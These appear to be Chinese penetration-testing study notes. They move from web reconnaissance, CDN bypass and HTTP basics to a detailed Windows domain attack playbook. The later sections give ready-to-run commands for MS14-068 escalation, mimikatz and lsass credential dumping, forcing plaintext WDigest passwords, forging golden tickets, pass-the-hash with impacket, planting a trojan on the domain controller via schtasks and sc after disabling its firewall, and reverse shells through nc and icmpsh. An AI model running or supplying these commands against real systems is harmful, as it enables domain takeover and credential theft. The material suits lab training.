信息资产收集

CMS识别技术

1、人工指纹字典识别
2、在线工具
3、平台
源码获取技术
架构信息获取

站点搭建分析

①搭建习惯-目录型站点 psy.ruc.edu.cn/bbs
②搭建习惯-端口类站点 https://www.fkcn.com http://www.fkcn.com:8080
http 80端口 https 443端口 8080 8443 81
③搭建习惯-子域名站点 bbs.goodlift.net/www.goodlift.net
同一个服务器:同IP
不同一个服务器
同网段:10.1.1.1/10.1.1.2
不同网段:套用敏感信息
④搭建习惯-类似域名站点 www.jmlsd.cn/www.jmlsd.com
jingdong.com jd.com
jmlsd.com jmlsd.cn
⑤搭建习惯-旁注,C 段站点
#旁注
同一个服务器不同站点
www.a.com
www.b.com
…….

#C段
不同服务器不同站点
www.a.com
www.b.com

www.c.com
www.d.com

WAF防护分析

1
2
3
4
5
1、什么是WAF应用
2、如何识别WAF wafw00f
3、识别WAF对于安全测试的意义

http://lzgmy1314.cn.vooec.com/

信息收集资产

1、DNS域名和IP

●子域名查询 - Teemo、layer子域名挖掘机和其他工具 https://github.com/bit4woo/teemo
●相似域名查询 - burpsuite插件:https://github.com/bit4woo/domain_hunter_pro/releases/tag/v1.1
●在线网站 1、通过HTTPS证书日志搜集 https://crt.sh 等 2、通过解析记录
●搜索引擎 1、白引擎:百度、谷歌 2、黑引擎:fofa,shodan,zoomeye
●枚举 写脚本进行子域名枚举查找测试是否存在 x.yucedu.com
●从主站爬取 1、从单点登录接口 2、crossdomain.xml文件(跨域访问文件) 淘宝 3、扫描器爬虫
●关联 1、网段分析 2、IP反差域名(反向解析)
●whois查询和关联查询(联系人信息、邮箱反差域名)

2、整站分析

★服务器类型
★中间件
★脚本类型
★数据库类型

3、敏感目录文件 御剑、Google、wwwscan、dirbuster、cansina等

4、开放端口信息 nmap、zmap、Masscan等

5、CMS识别 轻量web指纹识别、云悉指纹、人工识别、hash值字典查询

6、网站漏洞扫描 Appscan、AWVS、Nessus、OWASP、kali(W3af、openVAS、vega)等

#APP 提取一键反编译提取
#APP 抓数据包进行工具配合

#内部群内部应用内部接口 社工:QQ群或微信群 其他通讯群聊
#微信公众号接口获取

可供练手的网站

http://testfire.net/,testfire.net是IBM公司为了演示旗下比较有名的Web漏洞扫描器AppScan的强大功能所搭建的模拟银行网站,所以上面会有很多常见的Web安全漏洞。
http://vulnweb.com/ 为了演示AWVS漏洞扫描器所搭建的模拟网站
https://www.butian.net/ 补天平台上的SRC项目

涉及资源

https://www.shodan.io/
https://www.zoomeye.org/
https://fofa.so/
https://www.webscan.cc/ 旁注查询
http://tool.chinaz.com 站长工具
https://crt.sh 查询证书
https://securitytrails.com/domain/www.baidu.com/history/ dns历史记录查询
https://github.com/EnableSecurity/wafw00f WAFW00F工具下载

加密编码算法和CDN绕过

常见加密编码等算法解析

1、MD5:不可逆算法,最常用的算法之一,70-80%的网站管理员密码都是采用md5,网上解密的方法是采用枚举的方法(0-9,a-z的随机组合),32位
2、SHA:其中包括SHA1、SHA256、SHA384、SHA512,数字越大密文越长(0-9,a-z的随机组合)
3、ASCII:ASCII码
4、进制:计算机进制数
5、时间戳:计算机不会自己读取当前时间,而是采用对当前时间进行加密的时间戳供计算机来识别
6、URL:访问网站的地址信息 %20:[空格] %23:#
7、BASE64:很多采用base64加密后的密文后面都是两个==,且=如果出现就必须在结尾出现
8、Unescape:%u+4位数字依次加密
9、AES:更高级更安全的加密方式,其中包含四个因素:填充、数据块、密码、偏移量,如果采用base64解密类似这种密文后是乱码,则很可能是采取Aes方式进行加密的,解密Aes方式的必须要知道密码和偏移量这两个前提
10、DES:和AES类似
11、带Salt:MD5+salt
12、自定义组合

http://www.techen.cn/about_us.php?ID=MSBhbmQgMT0xIA==
http://www.techen.cn/about_us.php?ID=1 and 1=1 带入数据库查询

d0a8730cb57cecabbfac98036f5b2fbf 解密出来不是admin@123
d0a8730cb57cecabbfac98036f5b2fbf:9cf1d9 admin@123

CDN绕过

CDN 的全称是 Content Delivery Network,即内容分发网络。CDN 是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。但在安全测试过程中,若目标存在 CDN 服务,将会影响到后续的安全测试过程。
1、为什么要对CDN进行绕过?
2、如何判断目标存在 CDN 服务?
利用多节点技术进行请求返回判断
3、CDN 对于安全测试有那些影响?
4、目前常见的 CDN 绕过技术有哪些?
①子域名查询
www.yucedu.com 39.98.190.77
yucedu.com 39.98.190.77
x.yucedu.com 39.98.190.77 / 同网段 39.98.190.12 / 不同网段
②邮件服务查询 host文件手工捆绑确认
③国外地址请求
④扫描全网
扫描工具:w8fuckcdn、zmap等
w8fuckcdn使用说明:如果发现报错,类似\devices\npf adapter,推荐把虚拟网卡关闭
⑤黑暗引擎搜索特定文件
⑥dns 历史记录,以量打量

实验

① 利用子域名请求获取真实 IP 学而思网站
②利用DNS历史记录(第三方接口)查询获取真实IP sp910.com
③利用国外地址请求获取真实IP m.sp910.com 软件:789VPN(要钱)
④利用邮件服务器接口获取真实IP mozhe–人工地区识别/修改host手工绑定
⑤利用黑暗引擎搜索特定文件获取真实IP shodan搜指定hash文件 http://www.foxuc.com/

#Python2 开发的执行环境
#安装 mmh3 失败记得先安装下#Microsoft Visual C++ 14.0
#https://pan.baidu.com/s/12TcFkZ6KFLhofCT-osJOSg 提取码:wkgv

favicon.ico:WEB上存在的特有文件
代码:
import mmh3
import requests
response = requests.get(‘http://www.xx.com/favicon.ico')

https://www.naver.com/favicon.ico

favicon = response.content.encode(‘base64’)
hash = mmh3.hash(favicon)
print ‘http.favicon.hash:’+str(hash)

涉及资源

https://www.cr173.com/soft/21692.html 超级加解密转换工具
https://gitee.com/Discuz/DiscuzX discuz论坛源码
https://www.17ce.com/ 多地ping
https://get-site-ip.com/ 查看真实IP地址
https://x.threatbook.cn/ 微步
https://get-site-ip.com/ 查看真实IP地址
https://github.com/boy-hack/w8fuckcdn w8fuckcdn
https://www.isc.org/downloads/ dig工具

Web网站框架安全

基础知识:
【网站搭建】
由操作系统、web源码、中间件、数据库四大部分组成
ASP+Access
php+mysql
aspx+mssql
jsp+mssql,oracle
python+mongodb
下载phpstudy(同样还有宝塔,wmap,Inmap),一体化集合php+mysql+apache/nginx/iis,模拟搭建网站
【操作系统】
1、Windows 大小写不敏感
2、Linux(70%) 大小写敏感
nmap -O [IP或域名]
【web源码】
1、CMS:开源的网站内容管理系统 开放[开源]:能下载到的 内部:见不到,找不到
关于源码获取的相关途径:搜索(国内dedecms、74cms、phpcms等 国外:WordPress),咸鱼淘宝(花钱买),第三方源码站
2、脚本类型:asp、aspx、php、jsp、python等
不同网站源码采用不同脚本类型去编写,脚本类型选择上不同造成安全漏洞不同,某些语言能造成的安全漏洞也不一样
3、目录结构:后台目录模板目录、数据库目录、数据库配置文件等
4、网站系统的应用分类:商城(逻辑漏洞)、论坛(上传漏洞)、博客、第三方(查IP、查域名)(命令执行漏洞)、其他
网站功能决定漏洞类型
5、框架
【中间件常见安全问题与防护】
1、配置导致安全问题
IP 或域名解析目录对应下的存在的安全问题
域名访问,IP访问
脚本后缀解析
2、安全配置防护
常见防护中的IP域名验证

C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll asp
C:\WINDOWS\system32\inetsrv\asp.dll axd

查看md5值命令:certutil -hashfile C:\Users\kayven\Desktop\none.gif md5
【演示实验】
域名解析目录与IP解析目录安全
文件后缀解析设置 中国菜刀
常见安全测试中的安全防护
WEB 后门与用户及文件权限
CMS识别(人工、在线工具、平台)
【涉及资源】
https://nmap.org/
https://w.ddosi.workers.dev/ 雨苁www.ddosi.com
http://whatweb.bugscaner.com/ 在线cms识别

网站数据包结构分析

【HTTP/HTTPS数据包】
HTTP 是超文本传输协议,信息是明文传输,HTTPS 则是具有安全性的 SSL 加密传输协议
Client——>发送请求数据包——>Proxy代理——>Web服务器
Client<——返回响应数据包<——Proxy代理<——Web服务器

【Request 请求数据包数据格式】
#Request 请求数据包数据格式

1
2
3
4
1.请求行:请求类型/请求资源路径、协议的版本和类型
2.请求头:一些键值对,浏览器与 web 服务器之间都可以发送,特定的某种含义
3.空行:请求头与请求体之间用一个空行隔开;
4.请求体:要发送的数据(一般 post 提交会使用);例:user=123&pass=123

#请求行
请求行由三个标记组成:请求方法、请求 URL 和 HTTP 版本,它们用空格分享。
例如:GET /index.html HTTP/1.1
HTTP规划定义了 8 种可能的请求方法:
GET:检索 URL 中标识资源的一个简单请求
HEAD:与 GET 方法相同,服务器只返回状态行和头标,并不返回请求文档
POST:服务器接受被写入客户端输出流中的数据的请求
PUT:服务器保存请求数据作为指定 URL 新内容的请求
DELETE:服务器删除 URL 中命令的资源的请求
OPTIONS:关于服务器支持的请求方法信息的请求
TRACE:web 服务器反馈 Http 请求和其头标的请求
CONNECT :已文档化,但当前未实现的一个方法,预留做隧道处理

#请求头
由关键字/值对组成,每行一对,关键字和值用冒号分享。请求头标通知服务器腾于客户端的功能和标识。
HOST: 主机或域名地址
Accept:指浏览器或其他客户可以接爱的 MIME 文件格式。Servlet 可以根据它判断并返回适当的文件格式。
User-Agent:是客户浏览器名称
Accept-Langeuage:指出浏览器可以接受的语言种类,如 en 或 en-us,指英语。
connection:用来告诉服务器是否可以维持固定的 HTTP 连接。http 是无连接的,HTTP/1.1 使用 Keep-Alive为默认值,这样,当浏览器需要多个文件时(比如一个 HTML 文件和相关的图形文件),不需要每次都建立连接
Cookie:浏览器用这个属性向服务器发送 Cookie。Cookie 是在浏览器中寄存的小型数据体,它可以记载和服务器相关的用户信息,也可以用来实现会话功能。
Referer:表明产生请求的网页URL。如比从网页/icconcept/index.jsp中点击一个链接到网页/icwork/search,在向服务器发送的 GET/icwork/search 中的请求中,Referer 是 http://hostname:8080/icconcept/index.jsp。这个属性可以用来跟踪 Web 请求是从什么网站来的。
Content-Type:用来表明 request 的内容类型。可以用 HttpServletRequest 的 getContentType()方法取得。
Accept-Charset:指出浏览器可以接受的字符编码。英文浏览器的默认值是 ISO-8859-1.
Accept-Encoding:指出浏览器可以接受的编码方式。编码方式不同于文件格式,它是为了压缩文件并加速文件传递速度。浏览器在接收到 Web 响应之后先解码,然后再检查文件格式。

MIME类型是给浏览器进行识别一种格式

#空行
最后一个请求头标之后是空行,发送回车符和退行,通知服务器以下不再有头标。

#请求数据
使用 POST 传送,最常使用的是 Content-Type 和 Content-Length 头标。

请求行:
GET / HTTP/1.1
请求头:
Host: www.yucedu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

【Response 返回数据包数据格式】
#Response 请求数据包数据格式

1
2
3
4
5
一个响应由四个部分组成;状态行、响应头标、空行、响应数据。
1、状态行:协议版本、数字形式的状态代码和状态描述,元素之间以空格分隔
2、响应头标:包含服务器类型、日期、长度、内容类型等
3、空行:响应头与响应体之间用空行隔开
4、响应数据:浏览器会将实体内容中的数据取出来,生成相应的页面

#响应头标
像请求头标一样,它们指出服务器的功能,标识出响应数据的细节。
#空行
最后一个响应头标之后是一个空行,发送回车符和退行,表明服务器以下不再有头标。
#响应数据
HTML 文档和图像等,也就是 HTML 本身。

【HTTP 响应码】

1
2
3
4
5
6
7
8
9
10
11
1xx:信息,请求收到,继续处理  
2xx:成功,行为被成功地接受、理解和采纳
3xx:重定向,为了完成请求,必须进一步执行的动作
4xx:客户端错误
5xx:服务器错误

200 存在文件
403 存在文件夹
3xx 均可能存在
404 不存在文件及文件夹
500 均可能存在

根据返回的状态码判断它的这个值与他的文件夹是否存在,工具:御剑,尽量多勾选,宁愿有误报也不去遗漏

WEB安全基础

WEB:在互联网上面看到的所有网站,建立在http协议之上的
WEB软件 代码
软件:
操作系统软件:Windows,linux,unix,mac os
应用软件:淘宝、QQ、VX
架构:
C/S架构:客户端和服务器 安装、运行、更新 客户端
B/S架构:浏览器和服务器 开发、运行、更新 服务器

网站相关的语言:
前端:HTML CSS JavaScript 前端三剑客
后端:PHP、Java、Python

超文本:超级文本,用超链接的方式,将各种不同空间的文字信息组织在一起的网状文本。超文本的格式有很多, HTML(超文本标记语言)

URL:统一资源定位符,是资源标识符常见的一种,URL用来描述一台特定服务器上某个资源的特定位置
https://www.baidu.com/index.php?tn=monline_3_dg
http://127.0.0.1/ucms_1.4.8/admin/login.php
http://192.168.4.178:8060/
协议:https http ftp
主机、服务器:www.baidu.com 192.168.4.155
本地资源:index.php
端口:8060

http协议:Hyper Text Transfer Protocol(超文本传输协议)
在浏览器上访问网站,都得遵循这个协议
基于B/S架构
http报文分为三个部分:
①起始行
在请求报文中,用来说明需要做些什么
在响应报文中,用来说明结果是什么
②首部字段
起始行后面有0个或多个首部字段 首部字段最终以一个空行结束
③主体

Cookie: 是某些网站,为了辨别用户的身份,进行会话跟踪,用来储存在用户本地终端上的数据,由客户端暂时或者永久保存,通常是经过加密的

渗透测试:以“黑客”的身份,去对网站、服务器做渗透“攻击”,找到其中的漏洞,并进行反馈
黑盒测试:在不知道源代码、服务器环境的情况下,去进行渗透
白盒测试:在知道源代码、服务器环境的情况下,去进行渗透
代码审计

横向移动

横向移动的概念

红队和蓝队:

​ 红队(APT) ==> 攻击方

​ 蓝队 ==> 守方

横向移动(内网漫游): 在内网网段中, 拿下了一台主机, 以这台主机为跳板, 向旁边的主机取做渗透. 直到拿下整个环境(拿下域控)

net view ==> 看当前域内在线成员

net view /domain ==> 看当前有几个域环境

横向移动

以win 7 为跳板, 向域控进行渗透

  1. 用永恒之蓝攻击win7

  2. 做信息搜集

  3. 用ms14-068向域控提权

    ms14068 -u ilu@ilu.com -d 192.168.1.141 -s S-1-5-21-542716808-1865610110-2530282010-1105 -p 123123q.

    注入之前: 需要清除票据

    ​ CMD: klist purge 清除票据 | klist 查看票据

    ​ mimikatz: kerberos::purge 清除票据 | kerberos::list 查看票据

    清除票据后注入票据:

    mimikatz “privilege::debug” “kerberos::ptc xxxx.ccache” exit

    dir \\域控主机名\C$ ==> 访问成功即漏洞利用成功, 拿到域控权限

  4. 上传木马到域控并启动木马, 获取shell

    copy 木马 \\域控主机名\C$

    有两种方式运行木马:

    1. 以计划任务的方式运行 ==> 推荐用(可以以system运行)

      schtasks

      创建计划任务

      schtasks /create /s WIN-AFETP0IBEKR /tn w /ru system /tr “c:\shell.exe” /sc onstart

      运行

      schtasks /run /s WIN-AFETP0IBEKR /tn w

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      参数列表:
      /Create 创建新计划任务。

      /Delete 删除计划任务。

      /Query 显示所有计划任务。

      /Change 更改计划任务属性。

      /Run 按需运行计划任务。

      /End 中止当前正在运行的计划任务。

      /ShowSid 显示与计划的任务名称相应的安全标识符。

      /? 显示此帮助消息。

      /create:
      /S system 连接远程主机
      /RU username ==> <system> 指定运行文件的用户
      /SC schedule 计划任务运行的频率
      /TR taskrun ==> 设置要运行的程序
      /TN taskname ==> 给计划任务取名字
      /F ==> 强制创建
2. 以服务的方式运行木马

   sc <server> create [service name] [binPath= ] options...

   1. 关闭防火墙

      sc \\WIN-AFETP0IBEKR  create e binpath= "netsh advfirewall set allprofiles state off"

      sc \\WIN-AFETP0IBEKR start e

   2. 运行木马

      sc \\WIN-AFETP0IBEKR create mua binpath= "c:\\service.exe"

      sc \\WIN-AFETP0IBEKR start mua
  1. 拿下域控, 提权, 拿到krbtgt票据

    ​ hashdump 拿 krbtgt hash

  2. 制作金票

    golden_ticket_create :

    -d : 域名

    -k : krbtgt NTLM

    -s : 域sid

    -t : 指定生成的文件(tck)

    -u : 要伪造的用户

    清除票据

    kerberos_ticket_purge

    创建票据

    golden_ticket_create -d ilu.com -u adminsitrator -k 9d093f0496bcbbf9999845340c57cd6b -s S-1-5-21-542716808-1865610110-2530282010 -t gold.tck

    注入票据

    kerberos_ticket_use gold.tck

1
2
3
4
5
6
7
load kiwi ==> msf加载mimikatz

creds_all 列出所有的凭据信息
golden_ticket_create 制作金票
kerberos_ticket_list 列出当前的票据信息
kerberos_ticket_purge 清除票据
kerberos_ticket_use 使用票据

黄金票据

kerberos协议和黄金票据

VM克隆: 右键选项卡 ==> 管理 ==> 克隆

链接克隆: 相当于快捷方式, 用的是原本镜像, 不会多占用太多空间, 跟原本镜像互不影响, 但是删除原本镜像, 链接克隆的就没用了.

完整克隆: 相当于复制了一份镜像

PTH进3389端口
1
2
privilege::debug
sekurlsa::pth /user:xx /domian:xx /ntlm:xx /run:"mstsc.exe /restrictedadmin"

Kerberos

AS(Authentication Server)= 认证服务器

KDC(Key Distribution Center)= 密钥分发中心

TGT(Ticket Granting Ticket)= 票据授权票据,票据的票据

TGS(Ticket Granting Server)= 票据授权服务器

SS(Service Server)= 特定服务提供端

PASS THE TICKET

金票(golden ticket): 可以访问任意的服务, 权限较高

银票(silver ticket): 可以访问指定服务, 权限较低

漏洞利用(MS14-068):

1
2
3
4
5
6
7
MS14-068:
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其
Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。
影响范围:
Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 及 Windows Server 2012 R2 、Windows Vista、Windows 7、Windows 8 及 Windows 8.1版本

补丁编号: KB3011780
利用条件
  1. 拿到域控中某台主机的权限, 并提权
  2. 进本的信息搜集, 密码hash, 用户的sid, 域名信息
  3. 没有打过补丁KB3011780
利用:

搜集信息:

​ whoami /user ==> 获取sid

​ ipconfig /all ==> 域名, 域控ip

​ hashdump | mimikatz ==> 账户hash

​ msf身份盗用: steal_token pid

​ msf身份恢复: rev2self

ms14-068:

ms14-068 -u @ -s -d -p clear_password

注入之前: 需要清除票据

​ CMD: klist purge 清除票据 | klist 查看票据

​ mimikatz: kerberos::purge 清除票据 | kerberos::list 查看票据

清除票据后注入票据:

mimikatz “privilege::debug” “kerberos::ptc xxxx.ccache” exit

dir \\域控主机名\C$ ==> 访问成功即漏洞利用成功, 拿到域控权限

golden ticket

​ 前提: 拿下域控的权限(提权), 获取到域控的krbtgt账户密码(hash)

​ copy shell.exe \WIN-AFETP0IBEKR\C$ ==> 上传木马

1
2
3
4
5
6
7
8
kerberos::purge

kerberos::golden /user:Administrator /domain:ilu.com /sid:S-1-5-21-542716808-1865610110-2530282010 /krbtgt:9d093f0496bcbbf9999845340c57cd6b /ticket:gold.kirbi

kerberos::ptt gold.kirbi

dir \\域控主机名\C$
上传用copy

域渗透基础

域渗透基础

NTLM

NTLM协议的认证过程分为三步:

1、协商:主要用于确认双方协议版本(NTLM v1/NTLM V2)

2、质询:就是挑战(Challenge)/响应(Response)认证机制起作用的范

3、验证:验证主要是在质询完成后,验证结果,是认证的最后

SSO: 单点登入

SAM数据库: windows本地认证登入, 存储本地账户信息

NTDS数据库: windows域中登入, 存储域账户信息

NTLM生成过程
1
2
3
4
5
6
NTLM HASH产生:
假设我的密码是admin,那么操作系统会将admin转换为十六进制,经过Unicode转换后,再调用MD4加密算法加密,这个加密结果的十六进制就是NTLM Hash。
admin(密码)
-> hex(16进制编码) = 61646d696e
-> Unicode(Unicode编码) = 610064006d0069006e00
-> MD4(MD4算法加密) = 209c6174da490caeb422f3fa5a7ae634(NTLM Hash)

ntlml hash密码格式:

1
2
3
4
5
6
Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::
§ 用户名称为:Administrator
§ SID为:500
§ LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE
§ NTLM-HASH值为:683020925C5D8569C23AA724774CE6CC
LM Hash是 AAD3B435B51404EEAAD3B435B51404EE 这表示空密码或者是未使用LMHASH

PASS THE HASH

目的: 扩大战果, 打个比方 ==> 比如说, 目标的域环境中有大量的域内主机, 渗透拿到其中一个目标的NTLM HASH, 用这个NTLM HASH登入其他主机, 登入成功则拿下另一台主机

关于pth的补丁编号: kb2871997

lsass.exe: 存放账户的NTLM HASH, 账户的明文信息, windows 10 或者 windows server>= 2012, 有做策略无法直接拿到明文账户密码

解决方法:

1
2
3
4
5
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v 
UseLogonCredential /t REG_DWORD /d 1 /f //开启明文密码抓取

强制锁屏: //让用户重新登入, 才可以抓取明文密码
rundll32 user32.dll,LockWorkStation

mimikatz

看帮助信息: ::

对当前的操作提权: privilege::debug

生成日志文件: log(记录所有信息)

列出用户LM&NTLM: sekurlsa::msv

列出用户的明文密码: sekurlsa::wdigest

列出kerberos凭据信息: sekurlsa::kerberos

列出所有的凭据信息: sekurlsa::logonpasswords

mimikatz+procdump抓取密码

procdump -accepteula -ma lsass.exe lsass

mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit ==> 加exit执行完后可以主动退出

PTH

如果拿到域账户面密码, 可以登入到任意一台主机, 如果拿到了域控的账户密码, 直接登入远程主机的话可以拿到管理员权限

mimikatz的方式: sekurlsa::pth /user:Administrator /ntlm:xxxx /domain:域名

访问: dir \\ip\c$

msf的方式:

exploit/windows/smb/psexec

> set RHOSTS 192.168.1.139

> set SMBPASS LM_HASH:NTLM_HASH

> set domain 域名

> set SMBUSER Administrator

imapcket工具包:

1
2
3
4
5
6
7
8
smbexec.py -hashes
9e1624ce1b75d58f4fa5418705880aa0:44dc684a10508cffcea721116f3226ce ilu.com/Administrator@192.168.1.139

wmiexec.py -hashes 9e1624ce1b75d58f4fa5418705880aa0:44dc684a10508cffcea721116f3226ce ilu.com/Administrator@192.168.1.139

psexec.py -hashes 9e1624ce1b75d58f4fa5418705880aa0:44dc684a10508cffcea721116f3226ce ilu.com/Administrator@192.168.1.139

dcomexec.py -hashes 9e1624ce1b75d58f4fa5418705880aa0:44dc684a10508cffcea721116f3226ce ilu.com/Administrator@192.168.1.139

端口转发和代理

pip

pip分python2 和 python3 版本

pip3: apt-get install python3-pip

pip2: python2 get-pip.py

apt-get install python3-impacket

pip2 install impacket -i https://pypi.douban.com/simple

pip3 install impacket -i https://pypi.douban.com/simple

icmpsh

把可执行程序放到/usr/bin/目录下, 可以快速启用

或者取别名: alias 别名=’指令’ | vim .bashrc

需要在同网段下去做, 如果端口受到限制, 那我们就可以用ICMPSH这款工具去反弹shell

前提: ping未被禁用

依赖环境: python-impacket(python2版本的) pip2 install impacket

icmsh_m.py 源IP 目标IP

icmpsh.exe:

-t target –> 源IP

-d delay 500 –> 延迟的毫秒数

-s bytes 128 –> 缓冲区的大小

-b max blank 30 –> 最大的空白数

1
2
3
4
5
6
7
8
9
1. 现在kali设置ping代替应答 (必做)
sysctl -w net.ipv4.icmp_echo_ignore_all=1 >/dev/null
2. 开启监听
icmpsh_m.py s_ip d_ip (在kali上)
3. 反弹shell
icmpsh.exe -t s_ip -d 500 -s 128 -b 30 (在靶机上)


做完之后改回代替应答, 不然会出现ping不通其他主机的情况

ptunnel

网段配置: 虚拟网络编辑器 –> 仅主机模式 –> 将主机虚拟适配器连接到此网络的√取消掉, 就模拟外网就ping不到内网了

vm: vmnet0(桥接, 连通物理网段, 与物理机处于同一网段), vmnet1(仅主机模式, 只能ping通同一网段的机器) , vmnet8(nat)

参数:

1
2
3
4
5
6
-p: 远程服务器的ip地址(跳板ip)
-lp: 本地监听的端口(本地监听的端口)
-da: 目标的ip
-dp: 目标的端口
-x: 添加密码
-v: 显示详细的参数信息

kali:

ptunnel -x 123456 -p 192.168.1.142 -lp 3389 -da 192.168.217.136 -dp 3389

跳板机:

ptunnel -x 123456

访问目标机:

rdesktop 127.0.0.1:3389

访问目标的3389端口(rdp): 如果访问成功, 会导致目标靶机注销当前用户,

windows只允许多个账户只能有一个账户登入

linux: 允许多个账户同时登入

LCX

-listen 本地监听的端口(51) 要转发的端口(3389)

-tran 用于做多层跳板的

-slave 连接ip(跳板机ip) 连接的端口(51) 要传输的ip(127.0.0.1) 要转发的端口(3389)

跳板机:

lcx.exe -listen 51 3389

内网主机:

lcx.exe -slave 192.168.217.138 51 127.0.0.1 3389

访问:

mstsc 跳板机ipc

rdesktop 跳板机ip

NC

kali:

nc -lvvp 3333

跳板机:

nc 192.168.1.135 3333 -c ‘./nc 192.168.217.136 4444’

内网主机:

nc.exe -l -v -p 4444 -e cmd

empire会话传递和代理

empire会话传递

  1. 获取session(特权用户传递会继承到特权)
  2. 进入msf模块: exploit/multi/script/web_delivery –> target: PSH –> paylaod: windows/meterpreter/reverse_tcp –> 监听
  3. 使用模块: code_execution/invoke_metasploitpayload –> 设置Agent, URL(根据msf生成的url去设置)
  4. 执行传递

端口转发和代理

Windows: mstsc

linux: rdesktop

ICMP

ICMPSH

需要在同网段下去做, 如果端口受到限制, 那我们就可以用ICMPSH这款工具去反弹shell

前提: ping未被禁用

依赖环境: python-impacket(python2版本的) pip2 install impacket

icmsh_m.py 源IP 目标IP

icmpsh.exe:

-t target –> 源IP

-d delay 500 –> 延迟的毫秒数

-s bytes 128 –> 缓冲区的大小

-b max blank 30 –> 最大的空白数

1
2
3
4
5
6
1. 现在kali设置ping代替应答
sysctl -w net.ipv4.icmp_echo_ignore_all=1 >/dev/null
2. 开启监听
icmpsh_m.py s_ip d_ip
3. 反弹shell
icmpsh.exe -t s_ip -d 500 -s 128 -b 30